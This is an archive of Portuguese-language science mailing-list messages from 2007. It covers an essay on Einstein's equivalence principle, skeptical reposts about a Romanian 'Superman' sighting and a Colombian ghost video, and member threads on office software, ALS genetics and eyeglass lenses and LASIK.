Havia também uma questão que incomodava Einstein. Como a gravidade atua sobre os corpos independentemente do material ou do estado físico do corpo? Podemos pensar nessa questão da seguinte maneira: um corpo sob a ação de uma força sofre uma determinada aceleração de acordo com a sua massa. Nesse contexto, essa é a massa inercial do corpo, pois a inércia está relacionada ao estado de movimento. Por outro lado, se a força que atua sobre o corpo é a força gravitacional, esta é igual ao produto da massa (agora chamada de massa gravitacional) pelo campo gravitacional. Como era conhecido desde a época de Newton, ambas as massas têm o mesmo valor. Contudo, para Einstein, isso significava que ora a mesma qualidade (massa) do corpo se manifesta como "inércia", ora como "gravidade".

Essa conseqüência levou à elaboração do chamado Princípio da Equivalência, segundo o qual as experiências realizadas localmente na presença de um campo gravitacional dão os mesmos resultados que as realizadas em um sistema de referência não-inercial (observador acelerado). Por exemplo, na Estação Espacial Internacional, que se encontra a uma altitude de 600 km em relação ao solo, costumamos ver os astronautas flutuarem e afirma-se que eles não estão sofrendo a ação da gravidade. Porém, esta afirmação estará correta ou incorreta dependendo do ponto de vista.


Quando vemos o interior da Estação Espacial Internacional, temos a impressão de que lá não há gravidade, pois os astronautas estão flutuando. Mas, se observarmos a estação de qualquer ponto da superfície terrestre, verificaremos que ela está caindo o tempo todo na direção da Terra, que se afasta na mesma proporção. (Foto: Nasa).



Se considerarmos o interior da estação espacial, teremos a impressão de que não há gravidade naquele local. Entretanto, se observarmos de fora da estação, de qualquer ponto da superfície terrestre, verificaremos que os astronautas estão caindo o tempo todo na direção da Terra. Eles - e a estação espacial - nunca chegam ao solo, pois, à medida que caem, a superfície da Terra (que é curva) se afasta na mesma proporção. Levando em conta esse referencial, existe sem dúvida a ação de uma força.

Da mesma maneira, um astronauta no interior de um foguete que está viajando no espaço profundo, longe da influência gravitacional de qualquer objeto celeste, mas com uma aceleração igual à da gravidade terrestre, terá a sensação de estar sobre a superfície da Terra. Se ele subir em uma balança para medir o seu peso, terá o mesmo valor de quando o mediu em uma balança na Terra. Será também fisicamente impossível para ele distinguir se o seu foguete está estacionado sobre a superfície da Terra ou viajando aceleradamente. Portanto, em ambas as situações, não se pode distinguir qual é de fato a ação que está ocorrendo.

Segundo o Princípio da Equivalência, não podemos saber, no caso do ônibus fazendo a curva, se estamos em um sistema acelerado ou se existe um campo gravitacional que nos puxa para fora (a não ser que haja alguma informação externa ao ônibus). Essa surpreendente constatação de Einstein levou à formulação da sua Teoria da Relatividade Geral, que em sua essência é uma nova teoria da gravitação, que modificou completamente a maneira de vermos o espaço e o tempo. A partir dessa teoria, pode-se compreender que a inércia está associada à gravidade e esta, por sua vez, à curvatura do espaço provocada pela presença da massa. Essa fantástica idéia, que abordarei futuramente, foi uma das maiores revoluções científicas de toda a história. Ela finalmente resolveu o enigma do movimento.




Adilson de Oliveira
Departamento de Física
Universidade Federal de São Carlos
21/09/2007 "


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O menor anjo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 23/09/2007 12:00

O menor anjo <http://www.ceticismoaberto.com/news/?p=1000>
<http://littlekenadie.com/>
Kenadie Jourdin-Bromley nasceu em 13 de fevereiro de 2003, pesando pouco
mais de um quilo. Diagnosticada com uma raríssima condição denominada nanismo
primordial <http://en.wikipedia.org/wiki/Primordial_dwarfism>, os médicos
não esperavam que Kenadie vivesse por muito tempo, mas ela ainda está
conosco. Não deve chegar a um metro de altura ou pesar mais do que quatro
quilos.
Confira seu website, com belas fotos deste "menor anjo" com sua
família<http://littlekenadie.com/>,
que também pede por doações para ajudar a custear as várias despesas de
Kenadie.
Há quase duzentos anos atrás, uma menina com a mesma condição foi explorada
em exibições e faleceu de exaustão. Era Caroline Crachami, a "Fada
Siciliana"<http://www.thehumanmarvels.com/2007/09/caroline-crachami-sicilian-fairy.html>
.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: É um pássaro? É um avião? Não! É…
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 23/09/2007 12:01

� um p�ssaro? � um avi�o? N�o! Ʌ<http://www.ceticismoaberto.com/news/?p=1001>

*Pol�cia investiga avistamento de "Super-Homem"
*A pol�cia investiga relatos de alde�es da Rom�nia que dizem ter visto uma
figura parecida com o Super-Homem voar pelo c�u. Quase 20 locais, de Gemeni,
condado de Mehedinti, dizem que o OVNI vestia um traje azul brilhante,
exatamente como o do Super-Homem. Oficiais de pol�cia registraram os
testemunhos e dizem que eles descrevem a figura da mesma forma.
O policial Ion Anuta disse: "Falamos com pessoas de v�rias idades que s�o
todas cidad�s confi�veis de nossa vila. Todas dizem ter visto esta estranha
criatura que voou sobre suas casas em seu traje azul brilhante. Temos que
esperar para ver o que ir� acontecer".
O local Constantin Toader, 41, disse: "Ele se parecia com o Super-Homem e
voava lentamente a aproximadamente 100 jardas do solo em posi��o ereta. N�o
fazia nenhum som ou emitia fuma�a. Estava apenas voando por a�".
[Ananova<http://www.ananova.com/news/story/sm_2517321.html?menu=news.quirkies>
]

Ador�vel� uma busca por "Constantin Toader" no
Google<http://www.google.com/search?q=%22Constantin+Toader%22&sourceid=navclient-ff&ie=UTF-8&rls=GGGL,GGGL:2006-20,GGGL:en>revela
v�rias fontes romenas, incluinda esta, com fotografias peculiares:

Fotografia de Toader, da nota "Am vazut un
extraterestru!<http://www2.click.ro/actualitate/am-vazut-un-extraterestru>"
� *cuidado*, o "ve�culo de not�cias" tem mulheres peladas. O que diz muito
sobre a seriedade da not�cia.
Apenas investiga��es no local poderiam solucionar o caso, embora sem
fotografias, v�deos, filmes, talvez seja imposs�vel qualquer identifica��o.
Mas � mais um caso de "human�ides
voadores<http://www.ceticismoaberto.com/news/?p=973>",
comumente bal�es infantis.
Veja tamb�m

- Assist�ncia Mundial! <http://www.ceticismoaberto.com/news/?p=763>�
um p�ssaro? � um avi�o? N�o! O maior h...
- Sombra imposs�vel? <http://www.ceticismoaberto.com/news/?p=856> Olhe
bem para a inocente imagem acima. Apenas um belo dia jogando frisbee ...
- 90 anos, Gafanhoto
<http://www.ceticismoaberto.com/news/?p=670>Clique no link acima para
assistir � demonstra��o da ...
- Um zoom na (ex-)Face em
Marte<http://www.ceticismoaberto.com/news/?p=832>Clique na imagem
acima para ver uma anima��o fenomenal criad...
- Monumento a Tesla inaugurado<http://www.ceticismoaberto.com/news/?p=776>O
monumento honrando Nikola Tesla, inventor do sistema de gera�&atil...

Postado em Miscel�nea <http://www.ceticismoaberto.com/news/?cat=13>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Extraterrestres<http://www.ceticismoaberto.com/news/?cat=10>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Ufologia<http://www.ceticismoaberto.com/news/?cat=2>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=1001#respond>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Vídeo de fantasma na Colômbia?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 23/09/2007 12:02

V�deo de fantasma na Col�mbia? <http://www.ceticismoaberto.com/news/?p=1002>

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=1002>

Fabuloso! Assustador! Veja como o telejornal colombiano apresenta o v�deo
com trilha sonora de filme de terror, e consulta um bispo que, como nosso
padre jesu�ta Oscar Quevedo, opina ser "um fen�meno parapsicol�gico"! Depois
consultam uma esp�rita que conta como a menina "n�o se deu conta de que
morreu". No dia seguinte o jornal continuou explorando e promovendo o tema e
a como��o popular:

Mas o que seria a temida menina fantasma de Cucut�? O v�deo capturado pelo
telefone celular �, sem d�vida, apenas um reflexo das lentes, um
flare<http://www.ceticismoaberto.com/ufologia/imagens_foco.htm>,
da luz do poste:

J� a imagem mais detalhada da menina "de 12 anos"� � preciso muito ceticismo
ao verific�-la. A princ�pio parece improv�vel que se conseguisse uma boa
resolu��o e enquadramento como se v� com o mesmo telefone celular que
capturou o v�deo. A imagem da menina poderia tanto ter sido gerada atrav�s
da "filtragem" do v�deo original, escolhendo e processando um borr�o que se
parecesse com uma menina; como pode tamb�m ter sido completamente forjado. O
notici�rio RCN seguramente parece ter muito interesse em vender fantasmas
que n�o existem.

Mas como poder�amos esperar, um telejornal concorrente apresentou estas
mesmas obje��es, desinflando o fantasma de Cucut�:

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=1002>

Veja tamb�m

- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=160>Garota Fantasma: Achei!
Acho que encontrei a foto fantasma original, que ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=161>Garota Fantasma: A Verdade
Como pode ser visto acima, a foto forjada de u...
- V�deo de menina (fantasma?) em
hospital<http://www.ceticismoaberto.com/news/?p=944>O v�deo � japon�s,
e n�o se preocupe, n�...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=162> A
garota fantasma ataca novamente! Essa � boa demais. Lembram-se desta fo...
- O rosto de Saddam aparece na
Lua<http://www.ceticismoaberto.com/news/?p=840>Depois de seu
enforcamento e rumores de que seu fantasma estaria
perambula...

Postado em Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Parapsicologia <http://www.ceticismoaberto.com/news/?cat=8>,
Fantasmas<http://www.ceticismoaberto.com/news/?cat=6>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4> | Por Mori Comente!
� <http://www.ceticismoaberto.com/news/?p=1002#respond>


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SUBJECT: RES: [ciencialist] É um pássaro? É um avião? Não! É.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/09/2007 12:43

Eureka!

Já sei. Já sei de que se trata:

era Batman travestido de super-homem, em busca de seu amiguinho, o Robin!
Que é seu rapaz alegre preferencial.

Quem manda eu não ser muito burro, para dedurar o assim assim amorcegado
desse jeito!.

Victor.

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Kentaro Mori
Enviada em: domingo, 23 de setembro de 2007 12:02
Para: ciencialist@yahoogrupos.com.br; enigmasonline@yahoogrupos.com.br;
exobiologia_e_cia@yahoogrupos.com.br; painelovni@yahoogrupos.com.br;
UFO_PORTUGAL@yahoogrupos.com.br; ufoburn@yahoogrupos.com.br;
Ufolista@yahoogrupos.com.br; lista CA
Assunto: [ciencialist] É um pássaro? É um avião? Não! Ʌ

É um pássaro? É um avião? Não!
Ʌ<http://www.ceticismoaberto.com/news/?p=1001>

*Polícia investiga avistamento de "Super-Homem"
*A polícia investiga relatos de aldeões da Romênia que dizem ter visto uma
figura parecida com o Super-Homem voar pelo céu. Quase 20 locais, de Gemeni,
condado de Mehedinti, dizem que o OVNI vestia um traje azul brilhante,
exatamente como o do Super-Homem. Oficiais de polícia registraram os
testemunhos e dizem que eles descrevem a figura da mesma forma.
O policial Ion Anuta disse: "Falamos com pessoas de várias idades que são
todas cidadãs confiáveis de nossa vila. Todas dizem ter visto esta estranha
criatura que voou sobre suas casas em seu traje azul brilhante. Temos que
esperar para ver o que irá acontecer".
O local Constantin Toader, 41, disse: "Ele se parecia com o Super-Homem e
voava lentamente a aproximadamente 100 jardas do solo em posição ereta. Não
fazia nenhum som ou emitia fumaça. Estava apenas voando por aí".
[Ananova<http://www.ananova.com/news/story/sm_2517321.html?menu=news.quirkie
s>
]

Adorável… uma busca por "Constantin Toader" no
Google<http://www.google.com/search?q=%22Constantin+Toader%22&sourceid=navcl
ient-ff&ie=UTF-8&rls=GGGL,GGGL:2006-20,GGGL:en>revela
várias fontes romenas, incluinda esta, com fotografias peculiares:

Fotografia de Toader, da nota "Am vazut un
extraterestru!<http://www2.click.ro/actualitate/am-vazut-un-extraterestru>"
— *cuidado*, o "veículo de notícias" tem mulheres peladas. O que diz muito
sobre a seriedade da notícia.
Apenas investigações no local poderiam solucionar o caso, embora sem
fotografias, vídeos, filmes, talvez seja impossível qualquer identificação.
Mas é mais um caso de "humanóides
voadores<http://www.ceticismoaberto.com/news/?p=973>",
comumente balões infantis.
Veja também

- Assistência Mundial! <http://www.ceticismoaberto.com/news/?p=763>É
um pássaro? É um avião? Não! O maior h...
- Sombra impossível? <http://www.ceticismoaberto.com/news/?p=856> Olhe
bem para a inocente imagem acima. Apenas um belo dia jogando frisbee ...
- 90 anos, Gafanhoto
<http://www.ceticismoaberto.com/news/?p=670>Clique no link acima para
assistir à demonstração da ...
- Um zoom na (ex-)Face em
Marte<http://www.ceticismoaberto.com/news/?p=832>Clique na imagem
acima para ver uma animação fenomenal criad...
- Monumento a Tesla
inaugurado<http://www.ceticismoaberto.com/news/?p=776>O
monumento honrando Nikola Tesla, inventor do sistema de geraç&atil...

Postado em Miscelânea <http://www.ceticismoaberto.com/news/?cat=13>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Extraterrestres<http://www.ceticismoaberto.com/news/?cat=10>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Ufologia<http://www.ceticismoaberto.com/news/?cat=2>| Por Mori
Comente!
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SUBJECT: RES: [ciencialist] Mais uma alternativa gratuita de pacote de produtividade
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/09/2007 13:06

Bem, encontrei o seguinte, para abertura dos resistentes:



1 – arquivos .doc anteriores a 2007. Deve ser aberto e salvo no formato
“pasta word 97-2003”, que tem lá na lista Salvar Como;

2- arquivos .xls, idem, “pasta Excel 97-2003”, idem.

Menos ruim.

Mas vai entender a razão desse sanduíche de pão com pão!

O chato é que você vai precisar de ter o MS instalado por um tempão.

Mas talvez, e não mais que isso, eu esteja enganado.



Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de J.Victor
Enviada em: sábado, 22 de setembro de 2007 09:41
Para: ciencialist@yahoogrupos.com.br
Assunto: RES: [ciencialist] Mais uma alternativa gratuita de pacote de
produtividade



Caro Takata,

Usei o OpenOffice por uns tempos. É meio lento, pesadão, mas eficiente. Tem
tantos recursos quanto o MS Office. Mas acabei voltando para o feijão com
arroz, o MS Office. A notícia sobre a IBM até me deu uma esperança: agora me
livro do MS. Baixei e instalei o Office da IBM. Também não me pareceu mais
leve, além de haver encontrado problemas para abrir o Excel:

alguns arquivos Excel(2007) ele não abre e lasca na tela a seguinte
informação:

IBM producity tools do n ot suport this file format. (????).

Já com outros arquivos igualmente xls ele nem liga e abre normalmente.!!!

A pergunta que vos faço é: com você aconteceu o mesmo, ou seria alguma
zevitada nesse mister?

Teria alguma dica para me fornecer?

Costumo ser teimoso e ficar futucando até achar o caminho. Mas é que tempo e
paciência andam me faltando. Esse, o motivo do apelo.

Quanto ao editor de texto, tudo ok, até agora. Não testei o editor de
apresentações. Também só me serve para abrir documentos do tipo, que me
mandam; nem sei como usá-lo.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de rmtakata
Enviada em: quinta-feira, 20 de setembro de 2007 22:57
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: [ciencialist] Mais uma alternativa gratuita de pacote de
produtividade

Além do OpenOffice e das ferramentas que o Google oferece, agora a IBM
decidiu oferecer gratuitamente seu pacote Lotus Symphony.

http://symphony.lotus.com/software/lotus/symphony/home.jspa
http://www.openoffice.org/
http://docs.google.com

Piratear MS Office pra quê?

[]s,

Roberto Takata

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SUBJECT: ELA e suas variantes
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/09/2007 06:32



Lista,

Para quem tem casos parecidos na família, ainda não convenientemente
diagnosticado.

Uma distrofia muscular é sempre um problemão, qualquer que seja o tipo. No
caso de uma criança querida de minha família, especialmente querida para
mim, inicialmente diagnosticou-se uma miopatia congênita, hereditária.
Contudo, com a progressão da doença, muitos outros testes foram realizados,
inclusive na terra do tio Sam, o que alterou a conclusão inicial.
Presentemente, não se sabe exatamente o que é, quanto às causas, etc! Mas o
processo degenerativo continua, implacável e angustiante.

Pelo que li sobre ELA, tudo indica que este não é o caso. Os especialistas
garantem que não. Continuamos com os estudos. Recentemente, dia 20, operamos
seus dois pezinhos, para voltá-los para o lugar e permitir que possa usar
botinhas ortopédicas. Não tem forças nas perninhas, nem no pescoço, além de
exibir deformações no esqueleto, como um rotação da caixa toráxica, e cansa
com muita facilidade. Se alguém tiver mais notícias de problemas do tipo,
apreciaria que postasse aqui.

Pena que o título “Trabalhando pelas gerações futuras” seja mesmo o caso,
apesar dos avanços científicos nessas áreas. Infelizmente, para os
portadores atuais dessas disfunções. Só espero que no futuro possam dizer:
“Trabalhando pelas gerações atuais”...

Sds,

Victor



Trabalhando pelas gerações futuras
Geneticista fala de estudos com células-tronco para gerar terapias para a
esclerose lateral amiotrófica


(Foto: Mariana Ferraz)



http://ich.unito.com.br/images/ch/240/98655a.jpg

A esclerose lateral amiotrófica, ou ELA, é uma doença rara, letal e sem
cura. Os portadores dessa enfermidade – o mais famoso é o físico inglês
Stephen Hawking – sofrem com a perda progressiva da força muscular, deixando
inicialmente de mover braços e pernas e por fim apresentando dificuldades
até para respirar, mas mantendo as funções mentais em perfeito
funcionamento.

Apesar de ter sido descrita na metade do século 19, apenas recentemente as
pesquisas sobre a ELA começaram a dar resultados consistentes. Uma das
responsáveis pelos avanços no conhecimento sobre a doença é a geneticista
Agnes Nishimura, uma jovem pesquisadora brasileira, que descreveu uma nova
forma de esclerose lateral amiotrófica que só existe no Brasil, a ELA tipo
8. Nishimura também descobriu sua causa -- uma mutação genética ocorrida uma
única vez há cerca de 500 anos, época da colonização portuguesa no país.

Doutora em biologia pela Universidade de São Paulo (USP), onde foi orientada
pela geneticista Mayana Zatz, no Centro de Estudos do Genoma Humano,
Nishimura atualmente realiza seu pós-doutorado no King’s College, na
Inglaterra. Lá ela utiliza células-tronco embrionárias em experimentos para
buscar novas informações sobre a ELA, que, no futuro, poderão ser base para
terapias. A bióloga esteve em Brasília para receber o primeiro Prêmio Paulo
Gontijo de Medicina por suas descobertas sobre a doença, onde recebeu a
Ciência Hoje para esta entrevista.

Gostaria que descrevesse a esclerose lateral amiotrófica e falasse sobre as
particularidades da doença no Brasil.
A esclerose lateral amiotrófica, ou ELA, é uma doença que atinge os
neurônios motores. Na verdade, trata-se de um grupo de doenças bastante
heterogêneo, mas nas quais sempre há partes da medula espinhal que sofrem
uma degeneração que provoca a atrofia dos músculos. Os diferentes tipos de
ELA são classificados de acordo com a herança e o modo de progressão, mas,
basicamente, todos os pacientes apresentam fraqueza muscular, que pode
acarretar, por exemplo, problemas relacionados à respiração e à fala. A ELA
não tem cura, e chegar a um diagnóstico às vezes é demorado, porque em
princípio não há um sintoma que diga à pessoa que e é portadora da doença.
Muitas vezes o paciente apresenta dor muscular e busca um ortopedista ou um
clínico geral. Por isso, quando não há nenhum outro caso na família, o
diagnóstico final pode levar até um ano para ser definido. A incidência da
ELA no Brasil e no resto do mundo é bastante similar: dois casos a cada 100
mil pessoas, por ano.

Você descobriu um novo tipo de ELA. O que o caracteriza?
O ELA tipo 8 é uma doença causada por uma mutação em um gene chamado VAP-B.
Até agora ela só foi identificada no Brasil e costumamos dizer que se trata
de uma doença única. Mas por quê? Porque nesse tipo de ELA os pacientes
apresentam tremor, câimbra dolorosa e fasciculação – quando o músculo sofre
contrações repetidas – no pescoço, barriga, braços e pernas. Os pacientes
apresentam ainda um aumento no volume abdominal. Todos esses sintomas não
são típicos da esclerose lateral amiotrófica. Além disso, o tempo de
progressão da ELA tipo 8 é lento, de 10 a 20 anos, enquanto na ELA padrão
esse processo é bem mais rápido, em torno de quatro anos.

Com sintomas tão atípicos, como vocês concluíram que se tratava de um novo
tipo de ELA? Como foi o processo de descoberta da doença?
A neurologista Helga Cristina Silva, da Universidade Federal de São Paulo
(Unifesp) encaminhou ao nosso instituto, o Centro de Estudos do Genoma
Humano (da Universidade de São Paulo, USP), três pacientes com sintomas
diferentes e que aparentemente não tinham nenhuma relação entre si. Através
de entrevistas e da análise do sangue desses pacientes, descobrimos que eles
pertenciam a uma única família, com vários ramos, e concluímos que se
tratava da mesma doença em diferentes fases. Fiz então testes buscando
identificar, nessas pessoas, mutações nos genes já conhecidos como sendo
relacionados às formas de ELA familiais (hereditárias), mas não encontrei
nada. Pensamos que poderia se tratar de um novo gene relacionado à doença e
começamos a procurá-lo. Imagine que você tenha um prédio de 22 andares, e eu
te peça para encontrar ali uma cadeira com uma perna quebrada. Você vai ter
que procurar em todos os andares, e uma vez que encontre uma dica do andar,
você terá que procurar o apartamento em que está a cadeira. A idéia é mais
ou menos essa. As células têm 22 pares de cromossomos, que são os
autossomos, além dos cromossomos sexuais, e é preciso mapear cada par desses
utilizando marcadores específicos para achar o gene da doença. Comparamos
uma região do DNA de pacientes com ELA com o de pessoas normais da mesma
família. Eu tive muita sorte, porque comecei a procurar pelo cromossomo 22,
que é o menor deles, e achei uma região alterada no cromossomo 20. Cheguei a
pensar que estava fazendo algo errado, não podia ser tão fácil assim!
Continuei procurando, fui até o cromossomo 14, e vi que não havia erro,
tinha que ser naquela região, porque era a única compartilhada por todos os
pacientes. A partir daí, Miguel Mitne Neto -- que na época era aluno de
iniciação científica -- e eu tivemos que procurar o gene. Achamos o andar,
agora tínhamos que buscar a cadeira. Procurando gene a gene encontramos o
alterado. Para ter certeza de que essa mutação não era comum na população,
testamos ainda 200 indivíduos normais e vimos que realmente era aquele gene
o responsável pelo aparecimento da doença.


Mariana Ferraz
Ciência Hoje/RJ

* A repórter viajou a Brasília a convite do Instituto Paulo Gontijo





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SUBJECT: Fw: Fisica da Musica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 24/09/2007 09:14

Alguém pode atender esse pedido?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: kariolando januário da silva
Para: leobarretos@uol.com.br
Enviada em: domingo, 23 de setembro de 2007 17:01
Assunto: Fisica da Musica


Olá tudo bem?????
eu estou bem tambem.

eu moro em Araxá MG e estou fazendo faculdade de Sistemas de Informação
e descobri uma coisa muito legal no Turbo C. eu posso fazer musicas com ele e isso é bom.
eu estava lendo o seu artigo e me interessou muito, pois para eu fazer as musicas eu preciso usar as frequencias em Hz. mas algumas coisas eu não entendi quando eu estava lendo a pagina da internet. eu queria saber se vc tem a frequencia das notas para poder me ajudar, ou então uma forma mais fácil para eu conseguir formar os sons?

se puder me ajudar eu ficarei imensamente agradecido. desde já agradeço pela atenção.

Kariolando Silva

DEUS É E BASTA !!!
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No virus found in this incoming message.
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Version: 7.5.487 / Virus Database: 269.13.22/1015 - Release Date: 18/09/2007 11:53


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SUBJECT: Lentes de òculos - Cirurgia de correção
FROM: Michel Moccelin Viccari <michelm.viccari@yahoo.com.br>
TO: ciência list <ciencialist@yahoogrupos.com.br>
DATE: 24/09/2007 09:36

Olá pessoal tudo bem?
Bah quando tenho que fazer minha lente de óculos nunca sei qual escolher, não sei se confio na palavra do vendedor e do meu médico...
Qual é o melhor tipo de lente custoXbenefício?

Alguém já fez a cirurgia corretiva? O resultado valeu a pena? Ficou algum incoveniente? A qualidade da visão melhorou? Comentem por favor...
Muito obrigado pela atenção
Michel

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Lentes de òculos - Cirurgia de correção
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/09/2007 09:53

Olá!

Bom, sempre preferi, antes de fazer minha cirurgia, usar armações leves de aço cirúrgico, aqueles modelos que não encobrem a lente, são somente hastes e centro. As lentes em si sempre usei policarbonato com tratamento antireflexo, quanto maior o índice de refração, mais fina ela será. Pouco antes de passar pela operação as armações de aço cirúrgico estavam sendo trocadas pela de titânio, mas para as lentes nada mudam.

Sobre custo, se vc não for pensar em estética, as lentes de acrícilo são as mais baratas do mercado e "funcionam" como qualquer outra, as de cristal quebram em qualquer queda e não recomendo em nenhuma hipótese.

Para opinar melhor seria interessante vc informar qual seu problema, no meu caso eu tinha 3,50 de miopia e 0.75 de astigmatismo no esquerdo, e 4 de miopia e 2,25 de astigmatismo no direito. Operei na clínica Molinari, uma das mais especializadas no ramo no Brasil, o dr. Molinari aplicou a técnica de cirurgia conhecida como Lasik como a mais adequada para o meu caso.

O resultado valeu a pena, estou sem óculos desde dia 13 de abril, a recuperação foi super rápida, saí da clínica já enchergando e em 1 semana n~]ao sentia desconforto algum, em 2 semanas já não sentia incômodo devido a sensibilidade a luz direta diferente de quando tinha acabado de sair da operação.

Meus inconvenientes foram que sobraram 0,25 de astigmatismo em cada olho e 0,50 de hipermetropia no olho direito (nesse caso ocorreu uma hipercorreção.

A clínica deixou claro em todo instante que é possível fazer o retoque da cirurgia caso esta deficiência seja incômoda, mas de nenhuma forma tal grau chega a incomodar, esperava que minha visão não iria ficar boa pois para astigmatiste meu grau era elevadíssimo, tanto que para lentes de contato eu tinha que isar lentes tóricas, MUITO mais caras que as convencionais (4 jogos de lentes pagavam a cirurgia, para efeito comparativo)

Bom, a visão... melhorou 100%, claro, antes só enchergava nítido poucos minutos após lavar os óculos com detergente ou usando lentes de contato, agora, sempre enchergando 100% =)

[]'s!


Ivan Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
Cell.: +55 (11) 8112-0666





-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of Michel Moccelin Viccari
Sent: Monday, September 24, 2007 9:36 AM
To: ciência list
Subject: [ciencialist] Lentes de òculos - Cirurgia de correção

Olá pessoal tudo bem?
Bah quando tenho que fazer minha lente de óculos nunca sei qual escolher, não sei se confio na palavra do vendedor e do meu médico...
Qual é o melhor tipo de lente custoXbenefício?

Alguém já fez a cirurgia corretiva? O resultado valeu a pena? Ficou algum incoveniente? A qualidade da visão melhorou? Comentem por favor...
Muito obrigado pela atenção
Michel

Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Lentes de òculos - Cirurgia de correção
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/09/2007 10:15

Olá Michel,

complementando a mensagem do Ivan, informo que já arranquei fora os dois velhos cristalinos, com operações separadas por 2 ou 3 meses (eu queria fazer no mesmo dia as duas trocas ... o médico não deixou!); tenho cristalinos artificiais alemãs a mais de 10 anos!
Lembrei-me desse fato quando estava escrevendo o artigo "Corrigindo velhos chavões" e está no item 7; caso queira dar uma olhadela:
http://www.feiradeciencias.com.br/sala19/texto11.asp#7

Tinha miopia avançada e perda de transparência nos cristalinos, típicos da idade (minha data de validade de vida já está chegando ao final); hoje uso essencialmente dois óculos para os 'resíduos' de anomalias da visão que restaram das operações, um para longe e outro para 'computador' (nitidez plena e acomodação à cerca de 0,5 m). Para leitura e convívio próximo, não uso óculos. Meus óculos são de acrílicos, de R$ 90,00 o par de lentes (sempre cópia dos originais, sem qqer alteração!), mas as armações são caras (essa última paguei R$250,00, da TECNOL e é uma bosta). Troco os óculos sempre que noto riscos nas lentes ou a armação vai pro brejo pois sou muito desleixado para essas coisas (pego nas lentes quer com mão de minhocas, milho podre, graxa, pó de esmeril e deixo cair à amiúde!).

'boa sorte'

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ivan Carlos" <icarlos@icarlos.net>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 24 de setembro de 2007 09:53
Assunto: RE: [ciencialist] Lentes de òculos - Cirurgia de correção


Olá!

Bom, sempre preferi, antes de fazer minha cirurgia, usar armações leves de aço cirúrgico, aqueles modelos que não encobrem a lente, são somente hastes e centro. As lentes em si sempre usei policarbonato com tratamento antireflexo, quanto maior o índice de refração, mais fina ela será. Pouco antes de passar pela operação as armações de aço cirúrgico estavam sendo trocadas pela de titânio, mas para as lentes nada mudam.

Sobre custo, se vc não for pensar em estética, as lentes de acrícilo são as mais baratas do mercado e "funcionam" como qualquer outra, as de cristal quebram em qualquer queda e não recomendo em nenhuma hipótese.

Para opinar melhor seria interessante vc informar qual seu problema, no meu caso eu tinha 3,50 de miopia e 0.75 de astigmatismo no esquerdo, e 4 de miopia e 2,25 de astigmatismo no direito. Operei na clínica Molinari, uma das mais especializadas no ramo no Brasil, o dr. Molinari aplicou a técnica de cirurgia conhecida como Lasik como a mais adequada para o meu caso.

